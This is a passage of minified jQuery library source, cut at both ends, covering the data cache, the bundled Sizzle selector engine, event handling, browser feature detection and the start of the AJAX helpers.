h="jQuery"+e(),v=0,A={};o.extend({cache:{},data:function(F,E,G){F=F==l?A:F;var H=F[h];if(!H){H=F[h]=++v}if(E&&!o.cache[H]){o.cache[H]={}}if(G!==g){o.cache[H][E]=G}return E?o.cache[H][E]:H},removeData:function(F,E){F=F==l?A:F;var H=F[h];if(E){if(o.cache[H]){delete o.cache[H][E];E="";for(E in o.cache[H]){break}if(!E){o.removeData(F)}}}else{try{delete F[h]}catch(G){if(F.removeAttribute){F.removeAttribute(h)}}delete o.cache[H]}},queue:function(F,E,H){if(F){E=(E||"fx")+"queue";var G=o.data(F,E);if(!G||o.isArray(H)){G=o.data(F,E,o.makeArray(H))}else{if(H){G.push(H)}}}return G},dequeue:function(H,G){var E=o.queue(H,G),F=E.shift();if(!G||G==="fx"){F=E[0]}if(F!==g){F.call(H)}}});o.fn.extend({data:function(E,G){var H=E.split(".");H[1]=H[1]?"."+H[1]:"";if(G===g){var F=this.triggerHandler("getData"+H[1]+"!",[H[0]]);if(F===g&&this.length){F=o.data(this[0],E)}return F===g&&H[1]?this.data(H[0]):F}else{return this.trigger("setData"+H[1]+"!",[H[0],G]).each(function(){o.data(this,E,G)})}},removeData:function(E){return this.each(function(){o.removeData(this,E)})},queue:function(E,F){if(typeof E!=="string"){F=E;E="fx"}if(F===g){return o.queue(this[0],E)}return this.each(function(){var G=o.queue(this,E,F);if(E=="fx"&&G.length==1){G[0].call(this)}})},dequeue:function(E){return this.each(function(){o.dequeue(this,E)})}});
+/*
+ * Sizzle CSS Selector Engine - v0.9.3
+ *  Copyright 2009, The Dojo Foundation
+ *  Released under the MIT, BSD, and GPL Licenses.
+ *  More information: http://sizzlejs.com/
+ */
+(function(){var R=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?/g,L=0,H=Object.prototype.toString;var F=function(Y,U,ab,ac){ab=ab||[];U=U||document;if(U.nodeType!==1&&U.nodeType!==9){return[]}if(!Y||typeof Y!=="string"){return ab}var Z=[],W,af,ai,T,ad,V,X=true;R.lastIndex=0;while((W=R.exec(Y))!==null){Z.push(W[1]);if(W[2]){V=RegExp.rightContext;break}}if(Z.length>1&&M.exec(Y)){if(Z.length===2&&I.relative[Z[0]]){af=J(Z[0]+Z[1],U)}else{af=I.relative[Z[0]]?[U]:F(Z.shift(),U);while(Z.length){Y=Z.shift();if(I.relative[Y]){Y+=Z.shift()}af=J(Y,af)}}}else{var ae=ac?{expr:Z.pop(),set:E(ac)}:F.find(Z.pop(),Z.length===1&&U.parentNode?U.parentNode:U,Q(U));af=F.filter(ae.expr,ae.set);if(Z.length>0){ai=E(af)}else{X=false}while(Z.length){var ah=Z.pop(),ag=ah;if(!I.relative[ah]){ah=""}else{ag=Z.pop()}if(ag==null){ag=U}I.relative[ah](ai,ag,Q(U))}}if(!ai){ai=af}if(!ai){throw"Syntax error, unrecognized expression: "+(ah||Y)}if(H.call(ai)==="[object Array]"){if(!X){ab.push.apply(ab,ai)}else{if(U.nodeType===1){for(var aa=0;ai[aa]!=null;aa++){if(ai[aa]&&(ai[aa]===true||ai[aa].nodeType===1&&K(U,ai[aa]))){ab.push(af[aa])}}}else{for(var aa=0;ai[aa]!=null;aa++){if(ai[aa]&&ai[aa].nodeType===1){ab.push(af[aa])}}}}}else{E(ai,ab)}if(V){F(V,U,ab,ac);if(G){hasDuplicate=false;ab.sort(G);if(hasDuplicate){for(var aa=1;aa<ab.length;aa++){if(ab[aa]===ab[aa-1]){ab.splice(aa--,1)}}}}}return ab};F.matches=function(T,U){return F(T,null,null,U)};F.find=function(aa,T,ab){var Z,X;if(!aa){return[]}for(var W=0,V=I.order.length;W<V;W++){var Y=I.order[W],X;if((X=I.match[Y].exec(aa))){var U=RegExp.leftContext;if(U.substr(U.length-1)!=="\\"){X[1]=(X[1]||"").replace(/\\/g,"");Z=I.find[Y](X,T,ab);if(Z!=null){aa=aa.replace(I.match[Y],"");break}}}}if(!Z){Z=T.getElementsByTagName("*")}return{set:Z,expr:aa}};F.filter=function(ad,ac,ag,W){var V=ad,ai=[],aa=ac,Y,T,Z=ac&&ac[0]&&Q(ac[0]);while(ad&&ac.length){for(var ab in I.filter){if((Y=I.match[ab].exec(ad))!=null){var U=I.filter[ab],ah,af;T=false;if(aa==ai){ai=[]}if(I.preFilter[ab]){Y=I.preFilter[ab](Y,aa,ag,ai,W,Z);if(!Y){T=ah=true}else{if(Y===true){continue}}}if(Y){for(var X=0;(af=aa[X])!=null;X++){if(af){ah=U(af,Y,X,aa);var ae=W^!!ah;if(ag&&ah!=null){if(ae){T=true}else{aa[X]=false}}else{if(ae){ai.push(af);T=true}}}}}if(ah!==g){if(!ag){aa=ai}ad=ad.replace(I.match[ab],"");if(!T){return[]}break}}}if(ad==V){if(T==null){throw"Syntax error, unrecognized expression: "+ad}else{break}}V=ad}return aa};var I=F.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF_-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF_-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF_-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF_-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*_-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF_-]|\\.)+)(?:\((['"]*)((?:\([^\)]+\)|[^\2\(\)]*)+)\2\))?/},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(T){return T.getAttribute("href")}},relative:{"+":function(aa,T,Z){var X=typeof T==="string",ab=X&&!/\W/.test(T),Y=X&&!ab;if(ab&&!Z){T=T.toUpperCase()}for(var W=0,V=aa.length,U;W<V;W++){if((U=aa[W])){while((U=U.previousSibling)&&U.nodeType!==1){}aa[W]=Y||U&&U.nodeName===T?U||false:U===T}}if(Y){F.filter(T,aa,true)}},">":function(Z,U,aa){var X=typeof U==="string";if(X&&!/\W/.test(U)){U=aa?U:U.toUpperCase();for(var V=0,T=Z.length;V<T;V++){var Y=Z[V];if(Y){var W=Y.parentNode;Z[V]=W.nodeName===U?W:false}}}else{for(var V=0,T=Z.length;V<T;V++){var Y=Z[V];if(Y){Z[V]=X?Y.parentNode:Y.parentNode===U}}if(X){F.filter(U,Z,true)}}},"":function(W,U,Y){var V=L++,T=S;if(!U.match(/\W/)){var X=U=Y?U:U.toUpperCase();T=P}T("parentNode",U,V,W,X,Y)},"~":function(W,U,Y){var V=L++,T=S;if(typeof U==="string"&&!U.match(/\W/)){var X=U=Y?U:U.toUpperCase();T=P}T("previousSibling",U,V,W,X,Y)}},find:{ID:function(U,V,W){if(typeof V.getElementById!=="undefined"&&!W){var T=V.getElementById(U[1]);return T?[T]:[]}},NAME:function(V,Y,Z){if(typeof Y.getElementsByName!=="undefined"){var U=[],X=Y.getElementsByName(V[1]);for(var W=0,T=X.length;W<T;W++){if(X[W].getAttribute("name")===V[1]){U.push(X[W])}}return U.length===0?null:U}},TAG:function(T,U){return U.getElementsByTagName(T[1])}},preFilter:{CLASS:function(W,U,V,T,Z,aa){W=" "+W[1].replace(/\\/g,"")+" ";if(aa){return W}for(var X=0,Y;(Y=U[X])!=null;X++){if(Y){if(Z^(Y.className&&(" "+Y.className+" ").indexOf(W)>=0)){if(!V){T.push(Y)}}else{if(V){U[X]=false}}}}return false},ID:function(T){return T[1].replace(/\\/g,"")},TAG:function(U,T){for(var V=0;T[V]===false;V++){}return T[V]&&Q(T[V])?U[1]:U[1].toUpperCase()},CHILD:function(T){if(T[1]=="nth"){var U=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(T[2]=="even"&&"2n"||T[2]=="odd"&&"2n+1"||!/\D/.test(T[2])&&"0n+"+T[2]||T[2]);T[2]=(U[1]+(U[2]||1))-0;T[3]=U[3]-0}T[0]=L++;return T},ATTR:function(X,U,V,T,Y,Z){var W=X[1].replace(/\\/g,"");if(!Z&&I.attrMap[W]){X[1]=I.attrMap[W]}if(X[2]==="~="){X[4]=" "+X[4]+" "}return X},PSEUDO:function(X,U,V,T,Y){if(X[1]==="not"){if(X[3].match(R).length>1||/^\w/.test(X[3])){X[3]=F(X[3],null,null,U)}else{var W=F.filter(X[3],U,V,true^Y);if(!V){T.push.apply(T,W)}return false}}else{if(I.match.POS.test(X[0])||I.match.CHILD.test(X[0])){return true}}return X},POS:function(T){T.unshift(true);return T}},filters:{enabled:function(T){return T.disabled===false&&T.type!=="hidden"},disabled:function(T){return T.disabled===true},checked:function(T){return T.checked===true},selected:function(T){T.parentNode.selectedIndex;return T.selected===true},parent:function(T){return !!T.firstChild},empty:function(T){return !T.firstChild},has:function(V,U,T){return !!F(T[3],V).length},header:function(T){return/h\d/i.test(T.nodeName)},text:function(T){return"text"===T.type},radio:function(T){return"radio"===T.type},checkbox:function(T){return"checkbox"===T.type},file:function(T){return"file"===T.type},password:function(T){return"password"===T.type},submit:function(T){return"submit"===T.type},image:function(T){return"image"===T.type},reset:function(T){return"reset"===T.type},button:function(T){return"button"===T.type||T.nodeName.toUpperCase()==="BUTTON"},input:function(T){return/input|select|textarea|button/i.test(T.nodeName)}},setFilters:{first:function(U,T){return T===0},last:function(V,U,T,W){return U===W.length-1},even:function(U,T){return T%2===0},odd:function(U,T){return T%2===1},lt:function(V,U,T){return U<T[3]-0},gt:function(V,U,T){return U>T[3]-0},nth:function(V,U,T){return T[3]-0==U},eq:function(V,U,T){return T[3]-0==U}},filter:{PSEUDO:function(Z,V,W,aa){var U=V[1],X=I.filters[U];if(X){return X(Z,W,V,aa)}else{if(U==="contains"){return(Z.textContent||Z.innerText||"").indexOf(V[3])>=0}else{if(U==="not"){var Y=V[3];for(var W=0,T=Y.length;W<T;W++){if(Y[W]===Z){return false}}return true}}}},CHILD:function(T,W){var Z=W[1],U=T;switch(Z){case"only":case"first":while(U=U.previousSibling){if(U.nodeType===1){return false}}if(Z=="first"){return true}U=T;case"last":while(U=U.nextSibling){if(U.nodeType===1){return false}}return true;case"nth":var V=W[2],ac=W[3];if(V==1&&ac==0){return true}var Y=W[0],ab=T.parentNode;if(ab&&(ab.sizcache!==Y||!T.nodeIndex)){var X=0;for(U=ab.firstChild;U;U=U.nextSibling){if(U.nodeType===1){U.nodeIndex=++X}}ab.sizcache=Y}var aa=T.nodeIndex-ac;if(V==0){return aa==0}else{return(aa%V==0&&aa/V>=0)}}},ID:function(U,T){return U.nodeType===1&&U.getAttribute("id")===T},TAG:function(U,T){return(T==="*"&&U.nodeType===1)||U.nodeName===T},CLASS:function(U,T){return(" "+(U.className||U.getAttribute("class"))+" ").indexOf(T)>-1},ATTR:function(Y,W){var V=W[1],T=I.attrHandle[V]?I.attrHandle[V](Y):Y[V]!=null?Y[V]:Y.getAttribute(V),Z=T+"",X=W[2],U=W[4];return T==null?X==="!=":X==="="?Z===U:X==="*="?Z.indexOf(U)>=0:X==="~="?(" "+Z+" ").indexOf(U)>=0:!U?Z&&T!==false:X==="!="?Z!=U:X==="^="?Z.indexOf(U)===0:X==="$="?Z.substr(Z.length-U.length)===U:X==="|="?Z===U||Z.substr(0,U.length+1)===U+"-":false},POS:function(X,U,V,Y){var T=U[2],W=I.setFilters[T];if(W){return W(X,V,U,Y)}}}};var M=I.match.POS;for(var O in I.match){I.match[O]=RegExp(I.match[O].source+/(?![^\[]*\])(?![^\(]*\))/.source)}var E=function(U,T){U=Array.prototype.slice.call(U);if(T){T.push.apply(T,U);return T}return U};try{Array.prototype.slice.call(document.documentElement.childNodes)}catch(N){E=function(X,W){var U=W||[];if(H.call(X)==="[object Array]"){Array.prototype.push.apply(U,X)}else{if(typeof X.length==="number"){for(var V=0,T=X.length;V<T;V++){U.push(X[V])}}else{for(var V=0;X[V];V++){U.push(X[V])}}}return U}}var G;if(document.documentElement.compareDocumentPosition){G=function(U,T){var V=U.compareDocumentPosition(T)&4?-1:U===T?0:1;if(V===0){hasDuplicate=true}return V}}else{if("sourceIndex" in document.documentElement){G=function(U,T){var V=U.sourceIndex-T.sourceIndex;if(V===0){hasDuplicate=true}return V}}else{if(document.createRange){G=function(W,U){var V=W.ownerDocument.createRange(),T=U.ownerDocument.createRange();V.selectNode(W);V.collapse(true);T.selectNode(U);T.collapse(true);var X=V.compareBoundaryPoints(Range.START_TO_END,T);if(X===0){hasDuplicate=true}return X}}}}(function(){var U=document.createElement("form"),V="script"+(new Date).getTime();U.innerHTML="<input name='"+V+"'/>";var T=document.documentElement;T.insertBefore(U,T.firstChild);if(!!document.getElementById(V)){I.find.ID=function(X,Y,Z){if(typeof Y.getElementById!=="undefined"&&!Z){var W=Y.getElementById(X[1]);return W?W.id===X[1]||typeof W.getAttributeNode!=="undefined"&&W.getAttributeNode("id").nodeValue===X[1]?[W]:g:[]}};I.filter.ID=function(Y,W){var X=typeof Y.getAttributeNode!=="undefined"&&Y.getAttributeNode("id");return Y.nodeType===1&&X&&X.nodeValue===W}}T.removeChild(U)})();(function(){var T=document.createElement("div");T.appendChild(document.createComment(""));if(T.getElementsByTagName("*").length>0){I.find.TAG=function(U,Y){var X=Y.getElementsByTagName(U[1]);if(U[1]==="*"){var W=[];for(var V=0;X[V];V++){if(X[V].nodeType===1){W.push(X[V])}}X=W}return X}}T.innerHTML="<a href='#'></a>";if(T.firstChild&&typeof T.firstChild.getAttribute!=="undefined"&&T.firstChild.getAttribute("href")!=="#"){I.attrHandle.href=function(U){return U.getAttribute("href",2)}}})();if(document.querySelectorAll){(function(){var T=F,U=document.createElement("div");U.innerHTML="<p class='TEST'></p>";if(U.querySelectorAll&&U.querySelectorAll(".TEST").length===0){return}F=function(Y,X,V,W){X=X||document;if(!W&&X.nodeType===9&&!Q(X)){try{return E(X.querySelectorAll(Y),V)}catch(Z){}}return T(Y,X,V,W)};F.find=T.find;F.filter=T.filter;F.selectors=T.selectors;F.matches=T.matches})()}if(document.getElementsByClassName&&document.documentElement.getElementsByClassName){(function(){var T=document.createElement("div");T.innerHTML="<div class='test e'></div><div class='test'></div>";if(T.getElementsByClassName("e").length===0){return}T.lastChild.className="e";if(T.getElementsByClassName("e").length===1){return}I.order.splice(1,0,"CLASS");I.find.CLASS=function(U,V,W){if(typeof V.getElementsByClassName!=="undefined"&&!W){return V.getElementsByClassName(U[1])}}})()}function P(U,Z,Y,ad,aa,ac){var ab=U=="previousSibling"&&!ac;for(var W=0,V=ad.length;W<V;W++){var T=ad[W];if(T){if(ab&&T.nodeType===1){T.sizcache=Y;T.sizset=W}T=T[U];var X=false;while(T){if(T.sizcache===Y){X=ad[T.sizset];break}if(T.nodeType===1&&!ac){T.sizcache=Y;T.sizset=W}if(T.nodeName===Z){X=T;break}T=T[U]}ad[W]=X}}}function S(U,Z,Y,ad,aa,ac){var ab=U=="previousSibling"&&!ac;for(var W=0,V=ad.length;W<V;W++){var T=ad[W];if(T){if(ab&&T.nodeType===1){T.sizcache=Y;T.sizset=W}T=T[U];var X=false;while(T){if(T.sizcache===Y){X=ad[T.sizset];break}if(T.nodeType===1){if(!ac){T.sizcache=Y;T.sizset=W}if(typeof Z!=="string"){if(T===Z){X=true;break}}else{if(F.filter(Z,[T]).length>0){X=T;break}}}T=T[U]}ad[W]=X}}}var K=document.compareDocumentPosition?function(U,T){return U.compareDocumentPosition(T)&16}:function(U,T){return U!==T&&(U.contains?U.contains(T):true)};var Q=function(T){return T.nodeType===9&&T.documentElement.nodeName!=="HTML"||!!T.ownerDocument&&Q(T.ownerDocument)};var J=function(T,aa){var W=[],X="",Y,V=aa.nodeType?[aa]:aa;while((Y=I.match.PSEUDO.exec(T))){X+=Y[0];T=T.replace(I.match.PSEUDO,"")}T=I.relative[T]?T+"*":T;for(var Z=0,U=V.length;Z<U;Z++){F(T,V[Z],W)}return F.filter(X,W)};o.find=F;o.filter=F.filter;o.expr=F.selectors;o.expr[":"]=o.expr.filters;F.selectors.filters.hidden=function(T){return T.offsetWidth===0||T.offsetHeight===0};F.selectors.filters.visible=function(T){return T.offsetWidth>0||T.offsetHeight>0};F.selectors.filters.animated=function(T){return o.grep(o.timers,function(U){return T===U.elem}).length};o.multiFilter=function(V,T,U){if(U){V=":not("+V+")"}return F.matches(V,T)};o.dir=function(V,U){var T=[],W=V[U];while(W&&W!=document){if(W.nodeType==1){T.push(W)}W=W[U]}return T};o.nth=function(X,T,V,W){T=T||1;var U=0;for(;X;X=X[V]){if(X.nodeType==1&&++U==T){break}}return X};o.sibling=function(V,U){var T=[];for(;V;V=V.nextSibling){if(V.nodeType==1&&V!=U){T.push(V)}}return T};return;l.Sizzle=F})();o.event={add:function(I,F,H,K){if(I.nodeType==3||I.nodeType==8){return}if(I.setInterval&&I!=l){I=l}if(!H.guid){H.guid=this.guid++}if(K!==g){var G=H;H=this.proxy(G);H.data=K}var E=o.data(I,"events")||o.data(I,"events",{}),J=o.data(I,"handle")||o.data(I,"handle",function(){return typeof o!=="undefined"&&!o.event.triggered?o.event.handle.apply(arguments.callee.elem,arguments):g});J.elem=I;o.each(F.split(/\s+/),function(M,N){var O=N.split(".");N=O.shift();H.type=O.slice().sort().join(".");var L=E[N];if(o.event.specialAll[N]){o.event.specialAll[N].setup.call(I,K,O)}if(!L){L=E[N]={};if(!o.event.special[N]||o.event.special[N].setup.call(I,K,O)===false){if(I.addEventListener){I.addEventListener(N,J,false)}else{if(I.attachEvent){I.attachEvent("on"+N,J)}}}}L[H.guid]=H;o.event.global[N]=true});I=null},guid:1,global:{},remove:function(K,H,J){if(K.nodeType==3||K.nodeType==8){return}var G=o.data(K,"events"),F,E;if(G){if(H===g||(typeof H==="string"&&H.charAt(0)==".")){for(var I in G){this.remove(K,I+(H||""))}}else{if(H.type){J=H.handler;H=H.type}o.each(H.split(/\s+/),function(M,O){var Q=O.split(".");O=Q.shift();var N=RegExp("(^|\\.)"+Q.slice().sort().join(".*\\.")+"(\\.|$)");if(G[O]){if(J){delete G[O][J.guid]}else{for(var P in G[O]){if(N.test(G[O][P].type)){delete G[O][P]}}}if(o.event.specialAll[O]){o.event.specialAll[O].teardown.call(K,Q)}for(F in G[O]){break}if(!F){if(!o.event.special[O]||o.event.special[O].teardown.call(K,Q)===false){if(K.removeEventListener){K.removeEventListener(O,o.data(K,"handle"),false)}else{if(K.detachEvent){K.detachEvent("on"+O,o.data(K,"handle"))}}}F=null;delete G[O]}}})}for(F in G){break}if(!F){var L=o.data(K,"handle");if(L){L.elem=null}o.removeData(K,"events");o.removeData(K,"handle")}}},trigger:function(I,K,H,E){var G=I.type||I;if(!E){I=typeof I==="object"?I[h]?I:o.extend(o.Event(G),I):o.Event(G);if(G.indexOf("!")>=0){I.type=G=G.slice(0,-1);I.exclusive=true}if(!H){I.stopPropagation();if(this.global[G]){o.each(o.cache,function(){if(this.events&&this.events[G]){o.event.trigger(I,K,this.handle.elem)}})}}if(!H||H.nodeType==3||H.nodeType==8){return g}I.result=g;I.target=H;K=o.makeArray(K);K.unshift(I)}I.currentTarget=H;var J=o.data(H,"handle");if(J){J.apply(H,K)}if((!H[G]||(o.nodeName(H,"a")&&G=="click"))&&H["on"+G]&&H["on"+G].apply(H,K)===false){I.result=false}if(!E&&H[G]&&!I.isDefaultPrevented()&&!(o.nodeName(H,"a")&&G=="click")){this.triggered=true;try{H[G]()}catch(L){}}this.triggered=false;if(!I.isPropagationStopped()){var F=H.parentNode||H.ownerDocument;if(F){o.event.trigger(I,K,F,true)}}},handle:function(K){var J,E;K=arguments[0]=o.event.fix(K||l.event);K.currentTarget=this;var L=K.type.split(".");K.type=L.shift();J=!L.length&&!K.exclusive;var I=RegExp("(^|\\.)"+L.slice().sort().join(".*\\.")+"(\\.|$)");E=(o.data(this,"events")||{})[K.type];for(var G in E){var H=E[G];if(J||I.test(H.type)){K.handler=H;K.data=H.data;var F=H.apply(this,arguments);if(F!==g){K.result=F;if(F===false){K.preventDefault();K.stopPropagation()}}if(K.isImmediatePropagationStopped()){break}}}},props:"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode metaKey newValue originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),fix:function(H){if(H[h]){return H}var F=H;H=o.Event(F);for(var G=this.props.length,J;G;){J=this.props[--G];H[J]=F[J]}if(!H.target){H.target=H.srcElement||document}if(H.target.nodeType==3){H.target=H.target.parentNode}if(!H.relatedTarget&&H.fromElement){H.relatedTarget=H.fromElement==H.target?H.toElement:H.fromElement}if(H.pageX==null&&H.clientX!=null){var I=document.documentElement,E=document.body;H.pageX=H.clientX+(I&&I.scrollLeft||E&&E.scrollLeft||0)-(I.clientLeft||0);H.pageY=H.clientY+(I&&I.scrollTop||E&&E.scrollTop||0)-(I.clientTop||0)}if(!H.which&&((H.charCode||H.charCode===0)?H.charCode:H.keyCode)){H.which=H.charCode||H.keyCode}if(!H.metaKey&&H.ctrlKey){H.metaKey=H.ctrlKey}if(!H.which&&H.button){H.which=(H.button&1?1:(H.button&2?3:(H.button&4?2:0)))}return H},proxy:function(F,E){E=E||function(){return F.apply(this,arguments)};E.guid=F.guid=F.guid||E.guid||this.guid++;return E},special:{ready:{setup:B,teardown:function(){}}},specialAll:{live:{setup:function(E,F){o.event.add(this,F[0],c)},teardown:function(G){if(G.length){var E=0,F=RegExp("(^|\\.)"+G[0]+"(\\.|$)");o.each((o.data(this,"events").live||{}),function(){if(F.test(this.type)){E++}});if(E<1){o.event.remove(this,G[0],c)}}}}}};o.Event=function(E){if(!this.preventDefault){return new o.Event(E)}if(E&&E.type){this.originalEvent=E;this.type=E.type}else{this.type=E}this.timeStamp=e();this[h]=true};function k(){return false}function u(){return true}o.Event.prototype={preventDefault:function(){this.isDefaultPrevented=u;var E=this.originalEvent;if(!E){return}if(E.preventDefault){E.preventDefault()}E.returnValue=false},stopPropagation:function(){this.isPropagationStopped=u;var E=this.originalEvent;if(!E){return}if(E.stopPropagation){E.stopPropagation()}E.cancelBubble=true},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=u;this.stopPropagation()},isDefaultPrevented:k,isPropagationStopped:k,isImmediatePropagationStopped:k};var a=function(F){var E=F.relatedTarget;while(E&&E!=this){try{E=E.parentNode}catch(G){E=this}}if(E!=this){F.type=F.data;o.event.handle.apply(this,arguments)}};o.each({mouseover:"mouseenter",mouseout:"mouseleave"},function(F,E){o.event.special[E]={setup:function(){o.event.add(this,F,a,E)},teardown:function(){o.event.remove(this,F,a)}}});o.fn.extend({bind:function(F,G,E){return F=="unload"?this.one(F,G,E):this.each(function(){o.event.add(this,F,E||G,E&&G)})},one:function(G,H,F){var E=o.event.proxy(F||H,function(I){o(this).unbind(I,E);return(F||H).apply(this,arguments)});return this.each(function(){o.event.add(this,G,E,F&&H)})},unbind:function(F,E){return this.each(function(){o.event.remove(this,F,E)})},trigger:function(E,F){return this.each(function(){o.event.trigger(E,F,this)})},triggerHandler:function(E,G){if(this[0]){var F=o.Event(E);F.preventDefault();F.stopPropagation();o.event.trigger(F,G,this[0]);return F.result}},toggle:function(G){var E=arguments,F=1;while(F<E.length){o.event.proxy(G,E[F++])}return this.click(o.event.proxy(G,function(H){this.lastToggle=(this.lastToggle||0)%F;H.preventDefault();return E[this.lastToggle++].apply(this,arguments)||false}))},hover:function(E,F){return this.mouseenter(E).mouseleave(F)},ready:function(E){B();if(o.isReady){E.call(document,o)}else{o.readyList.push(E)}return this},live:function(G,F){var E=o.event.proxy(F);E.guid+=this.selector+G;o(document).bind(i(G,this.selector),this.selector,E);return this},die:function(F,E){o(document).unbind(i(F,this.selector),E?{guid:E.guid+this.selector+F}:null);return this}});function c(H){var E=RegExp("(^|\\.)"+H.type+"(\\.|$)"),G=true,F=[];o.each(o.data(this,"events").live||[],function(I,J){if(E.test(J.type)){var K=o(H.target).closest(J.data)[0];if(K){F.push({elem:K,fn:J})}}});F.sort(function(J,I){return o.data(J.elem,"closest")-o.data(I.elem,"closest")});o.each(F,function(){if(this.fn.call(this.elem,H,this.fn.data)===false){return(G=false)}});return G}function i(F,E){return["live",F,E.replace(/\./g,"`").replace(/ /g,"|")].join(".")}o.extend({isReady:false,readyList:[],ready:function(){if(!o.isReady){o.isReady=true;if(o.readyList){o.each(o.readyList,function(){this.call(document,o)});o.readyList=null}o(document).triggerHandler("ready")}}});var x=false;function B(){if(x){return}x=true;if(document.addEventListener){document.addEventListener("DOMContentLoaded",function(){document.removeEventListener("DOMContentLoaded",arguments.callee,false);o.ready()},false)}else{if(document.attachEvent){document.attachEvent("onreadystatechange",function(){if(document.readyState==="complete"){document.detachEvent("onreadystatechange",arguments.callee);o.ready()}});if(document.documentElement.doScroll&&l==l.top){(function(){if(o.isReady){return}try{document.documentElement.doScroll("left")}catch(E){setTimeout(arguments.callee,0);return}o.ready()})()}}}o.event.add(l,"load",o.ready)}o.each(("blur,focus,load,resize,scroll,unload,click,dblclick,mousedown,mouseup,mousemove,mouseover,mouseout,mouseenter,mouseleave,change,select,submit,keydown,keypress,keyup,error").split(","),function(F,E){o.fn[E]=function(G){return G?this.bind(E,G):this.trigger(E)}});o(l).bind("unload",function(){for(var E in o.cache){if(E!=1&&o.cache[E].handle){o.event.remove(o.cache[E].handle.elem)}}});(function(){o.support={};var F=document.documentElement,G=document.createElement("script"),K=document.createElement("div"),J="script"+(new Date).getTime();K.style.display="none";K.innerHTML='   <link/><table></table><a href="/a" style="color:red;float:left;opacity:.5;">a</a><select><option>text</option></select><object><param/></object>';var H=K.getElementsByTagName("*"),E=K.getElementsByTagName("a")[0];if(!H||!H.length||!E){return}o.support={leadingWhitespace:K.firstChild.nodeType==3,tbody:!K.getElementsByTagName("tbody").length,objectAll:!!K.getElementsByTagName("object")[0].getElementsByTagName("*").length,htmlSerialize:!!K.getElementsByTagName("link").length,style:/red/.test(E.getAttribute("style")),hrefNormalized:E.getAttribute("href")==="/a",opacity:E.style.opacity==="0.5",cssFloat:!!E.style.cssFloat,scriptEval:false,noCloneEvent:true,boxModel:null};G.type="text/javascript";try{G.appendChild(document.createTextNode("window."+J+"=1;"))}catch(I){}F.insertBefore(G,F.firstChild);if(l[J]){o.support.scriptEval=true;delete l[J]}F.removeChild(G);if(K.attachEvent&&K.fireEvent){K.attachEvent("onclick",function(){o.support.noCloneEvent=false;K.detachEvent("onclick",arguments.callee)});K.cloneNode(true).fireEvent("onclick")}o(function(){var L=document.createElement("div");L.style.width=L.style.paddingLeft="1px";document.body.appendChild(L);o.boxModel=o.support.boxModel=L.offsetWidth===2;document.body.removeChild(L).style.display="none"})})();var w=o.support.cssFloat?"cssFloat":"styleFloat";o.props={"for":"htmlFor","class":"className","float":w,cssFloat:w,styleFloat:w,readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",tabindex:"tabIndex"};o.fn.extend({_load:o.fn.load,load:function(G,J,K){if(typeof G!=="string"){return this._load(G)}var I=G.indexOf(" ");if(I>=0){var E=G.slice(I,G.length);G=G.slice(0,I)}var H="GET";if(J){if(o.isFunction(J)){K=J;J=null}else{if(typeof J==="object"){J=o.param(J);H="POST"}}}var F=this;o.ajax({url:G,type:H,dataType:"html",data:J,complete:function(M,L){if(L=="success"||L=="notmodified"){F.html(E?o("<div/>").append(M.responseText.replace(/<script(.|\s)*?\/script>/g,"")).find(E):M.responseText)}if(K){F.each(K,[M.responseText,L,M])}}});return this},serialize:function(){return o.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?o.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||/select|textarea/i.test(this.nodeName)||/text|hidden|password|search/i.test(this.type))}).map(function(E,F){var G=o(this).val();return G==null?null:o.isArray(G)?o.map(G,function(I,H){return{name:F.name,value:I}}):{name:F.name,value:G}}).get()}});o.each("ajaxStart,ajaxStop,ajaxComplete,ajaxError,ajaxSuccess,ajaxSend".split(","),function(E,F){o.fn[F]=function(G){return this.bind(F,G)}});var r=e();o.extend({get:function(E,G,H,F){if(o.isFunction(G)){H=G;G=null}return o.ajax({type:"GET",url:E,data:G,success:H,dataType:F})},getScript:function(E,F){return o.get(E,null,F,"script")},getJSON:function(E,F,G){return o.get(E,F,G,"json")},post:function(E,G,H,F){if(o.isFunction(G)){H=G;G={}}return o.ajax({type:"POST",url:E,data:G,success:H,dataType:F})},ajaxSetup:function(E){o.extend(o.ajaxSettings,E)},ajaxSettings:{url:location.href,global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:function(){return l.ActiveXObject?new ActiveXObject("Microsoft.XMLHTTP"):new XMLHttpRequest()},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},ajax:function(M){M=o.extend(true,M,o.extend(true,{},o.ajaxSettings,M));var W,F=/=\?(&|$)/g,R,V,G=M.type.toUpperCase();if(M.data&&M.processData&&typeof 